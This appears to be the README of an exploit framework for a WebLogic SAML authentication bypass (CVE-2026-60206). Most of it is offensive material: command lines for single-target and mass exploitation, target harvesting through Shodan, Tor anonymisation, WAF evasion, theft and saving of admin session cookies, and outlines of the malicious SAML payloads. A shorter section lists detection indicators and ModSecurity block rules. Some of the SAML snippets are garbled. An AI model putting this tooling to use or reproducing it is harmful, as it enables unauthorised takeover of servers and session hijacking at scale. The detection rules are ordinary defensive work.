
👾 CVE-2026-60206 - Oracle WebLogic SAML Auth Bypass Exploit Framework ⚡Bash & Python versions. Features: --detect safe check, --exploit combo/unsigned/xsw/nameid/all, --shodan integration, --tor support, mass scanning, JSON/CSV/JSONL output, cookie validation. 🛡️ CVSS 9.9 Critical - Use Ethically, Stay Legal. 🔒

Exploit Framework & Mass Scanner
For authorized security testing only.
This tool is provided for educational and authorized penetration testing purposes only.
The authors and contributors are not responsible for any misuse or damage caused by this software. Users are solely responsible for ensuring they have explicit written permission from the target owner before testing. Unauthorized access to computer systems is illegal under the Computer Fraud and Abuse Act (CFAA) and similar laws worldwide.
By using this software, you agree to:
⚠️ WARNING: This vulnerability is actively exploited in the wild. Unauthorized use may result in severe legal consequences.
CVE-2026-60206 is a critical unauthenticated authentication bypass vulnerability in Oracle WebLogic Server's SAML (Security Assertion Markup Language) implementation. It allows remote attackers to bypass SAML authentication and gain administrative access to the WebLogic console without valid credentials.
SAML Injection: The vulnerability stems from improper validation of SAML assertions. Attackers can craft malicious SAML responses that bypass authentication checks.
Signature Bypass: The vulnerability allows bypassing XML signature validation through XML Signature Wrapping (XSW) attacks, where attackers wrap malicious assertions with legitimate signatures.
NameID Manipulation: Attackers can inject comments or manipulate the NameID field to impersonate privileged users.
Admin Access: Successful exploitation grants the attacker administrative access to the WebLogic Server console with full control.
The full educational multi-exploit chains multiple SAML attack vectors to achieve authentication bypass, with advanced features for mass scanning, cookie, and administrative access.
--detect)The safe verifier performs non‑intrusive vulnerability detection without executing harmful payloads or making system changes.
curl (for Bash version)pip (for requests library, Python version)# Python version
pip install requests urllib3
# Optional: Shodan support
pip install shodan
# Bash version: curl only (no additional dependencies)
[!NOTE] The Bash version works with
curlonly and has no external dependencies. The Python version requiresrequestsandurllib3(optional:shodanfor Shodan integration).
exploit.py)# Single target exploit (combo mode)
python exploit.py -u https://192.168.1.100:7002 --exploit --user admin
# Exploit with all attack vectors
python exploit.py -u https://192.168.1.100:7002 --mode all --exploit -v
# Mass scanning from file (50 threads)
python exploit.py -l targets.txt --exploit -t 50 -o results.json
# Safe detection only (non-intrusive)
python exploit.py -l targets.txt --detect -o scan_results.csv
# Shodan integration
export SHODAN_API_KEY="your_api_key"
python exploit.py --shodan --shodan-query "WebLogic Server port:7002" --exploit
# Tor anonymized scanning
python exploit.py -l targets.txt --exploit --tor -t 20
# Proxy support
python exploit.py -u https://192.168.1.100:7002 --exploit --proxy http://127.0.0.1:8080
# Streaming JSONL output (memory efficient for large scans)
python exploit.py -l targets.txt --exploit -o results.jsonl
# Quiet mode (minimal output)
python exploit.py -l targets.txt --exploit -q -o results.json
# Custom timeout and retry
python exploit.py -u https://192.168.1.100:7002 --exploit --timeout 20 --retry 5 --delay 2.0
# SSL verification bypass
python exploit.py -u https://192.168.1.100:7002 --exploit --no-verify
# Verbose debugging
python exploit.py -u https://192.168.1.100:7002 --exploit -v
# Single target exploit
./exploit.sh -u https://192.168.1.100:7002 --exploit --user admin
# Mass scanning
./exploit.sh -l targets.txt --mode all --exploit -o results.json
# Tor anonymized scanning
./exploit.sh -l targets.txt --exploit --tor -t 20
# Shodan integration
export SHODAN_API_KEY="your_api_key"
./exploit.sh --shodan --exploit -o shodan_results.json
# Streaming JSONL output
./exploit.sh -l targets.txt --exploit -o results.jsonl
# Proxy support
./exploit.sh -u https://192.168.1.100:7002 --exploit --proxy http://127.0.0.1:8080
# SSL verification bypass
./exploit.sh -u https://192.168.1.100:7002 --exploit --no-verify
# Quiet mode
./exploit.sh -l targets.txt --exploit -q -o results.json
# Verbose debugging
./exploit.sh -u https://192.168.1.100:7002 --exploit -v
# Single target validation
./verifier_poc.sh -u https://192.168.1.100:7002 --user admin
# Mass validation with report
./verifier_poc.sh -l targets.txt --user admin -o report.txt
# SSL verification bypass
./verifier_poc.sh -u https://192.168.1.100:7002 --no-verify
# Proxy support
./verifier_poc.sh -u https://192.168.1.100:7002 --proxy http://127.0.0.1:8080
⚠️ Important: This vulnerability affects self‑hosted WebLogic Server deployments. Apply Oracle CPU July 2026 immediately.
The vulnerability allows attackers to bypass SAML authentication by crafting malicious SAML responses that are improperly validated by WebLogic's SAML implementation.
Vulnerable Endpoint:
POST /saml2/sp/acs HTTP/1.1
Host: target:7002
Content-Type: application/x-www-form-urlencoded
SAMLResponse=<base64_encoded_malicious_assertion>&RelayState=/
Unsigned Assertion
saml2:Assertion saml2:Subject <saml2:NameID Format="...">admin</saml2:NameID> </saml2:Subject>
</saml2:Assertion>
XML Signature Wrapping (XSW)
ds:Signature <ds:Reference URI="#legit"> </ds:Reference> </ds:Signature>
<saml2:Assertion ID="evil"> saml2:Subjectadmin</saml2:Subject> </saml2:Assertion>
NameID Comment Injection
<saml2:NameID Format="...">
lowpriv</saml2:NameID>
Successful exploitation yields a JSESSIONID cookie, granting administrative access to the WebLogic console.
The stolen cookie can be used to access:
Search your WebLogic logs for:
access.log – requests to /saml2/sp/acs, /saml2/acs with unusual SAML parametersdomain.log – authentication bypass attempts with invalid SAML assertionsdiagnostic.log – SAML parsing errors or signature validation failuresSAMLResponse parameters containing:
<saml2:Assertion> tags<saml2:NameID> fieldsjavascript: or eval() in parametersconfig.xml, jps-config.xml)autodeploy directoryweblogic.security files# Block SAML requests with multiple assertions
SecRule REQUEST_URI "/saml2/sp/acs|/saml2/acs" \
"id:10001,phase:1,deny,status:403,\
msg:'CVE-2026-60206 - Multiple SAML Assertions',\
chain"
SecRule ARGS:SAMLResponse ".*<saml2:Assertion>.*<saml2:Assertion>.*"
# Block SAML requests with comments in NameID
SecRule REQUEST_URI "/saml2/sp/acs|/saml2/acs" \
"id:10002,phase:1,deny,status:403,\
msg:'CVE-2026-60206 - NameID Comments',\
chain"
SecRule ARGS:SAMLResponse ".*<saml2:NameID.*<!--.*-->.*"
# Block unsigned SAML assertions
SecRule REQUEST_URI "/saml2/sp/acs|/saml2/acs" \
"id:10003,phase:1,deny,status:403,\
msg:'CVE-2026-60206 - Unsigned Assertion',\
chain"
SecRule ARGS:SAMLResponse ".*<saml2:Assertion>.*(?!<ds:Signature>).*"
| Attribute | Value |
|---|
| 📅 Discovered | July 2026 (Oracle CPU) |
| ⚠️ CVSS Score | 9.9 (CRITICAL) |
| 📋 CISA KEV | Added July 21, 2026 |
| 🎯 Affected Products | Oracle WebLogic Server (Fusion Middleware) |
| 🔄 Fixed Versions | Oracle CPU July 2026 |
| 🔓 Authentication | Not required (Pre-Auth) |
| 🌍 Active Exploitation | Confirmed in the wild (July 2026) |
| Feature | Description |
|---|
| 🚀 Multi-Vector Exploit | 7 attack vectors: unsigned, xsw_v1-4, nameid, combo |
| 💻 Mass Scanning | Concurrent scanning with thread pool (Python) / FIFO (Bash) |
| 🔐 Cookie Theft | Steals JSESSIONID for session hijacking |
| 👑 Admin Console Access | Full administrative access to WebLogic console |
| 📁 Version Detection | Detects WebLogic versions and vulnerability status |
| 🌐 Batch Scanning | Mass exploit multiple targets with threading |
| 🎯 Safe Detection | Optional --detect flag for non‑intrusive vulnerability verification |
| 🧩 Shodan Integration | Load targets directly from Shodan search |
| 🔍 Tor Support | Anonymize scanning with Tor proxy |
| 📊 Multiple Output Formats | JSON, CSV, JSONL streaming output |
| 🪟 Cross‑Platform | Supports Linux, macOS, BSD, Alpine, WSL |
| 🔒 Thread‑Safe | Uses locking mechanisms for concurrent operations |
| 📋 Auto Session Save | Saves successful cookies for later use |
| ⚙️ WAF Bypass | User-Agent rotation and random delays |
| Vector | Description |
|---|
unsigned | Unauthenticated SAML assertion without signature |
xsw_v1 | XML Signature Wrapping - Multiple assertions |
xsw_v2 | XSW - Enveloped signature bypass |
xsw_v3 | XSW - Namespace manipulation |
xsw_v4 | XSW - Multiple assertion injection |
nameid | NameID comment injection |
combo | Combined attack (unsigned + XSW + NameID) |
| Feature | Description |
|---|
| 🔍 WebLogic Detection | Identifies WebLogic instances via LoginForm.jsp |
| 📊 Version Detection | Detects specific WebLogic versions and patch levels |
| 🧪 SAML Endpoint Discovery | Tests for SAML ACS endpoints |
| 🔒 Non‑Intrusive | Only identifies vulnerable versions |
| 📋 JSON/CSV Output | Export results for reporting |
| 🔄 Mass Scanning | Scan multiple targets with threading support |
| Oracle WebLogic Version | Status |
|---|
| 12.2.1.4.0 | 🔴 VULNERABLE |
| 14.1.1.0.0 | 🔴 VULNERABLE |
| 14.1.2.0.0 | 🔴 VULNERABLE |
| 15.1.1.0.0 | 🔴 VULNERABLE |
| Other versions | Check Oracle CPU July 2026 |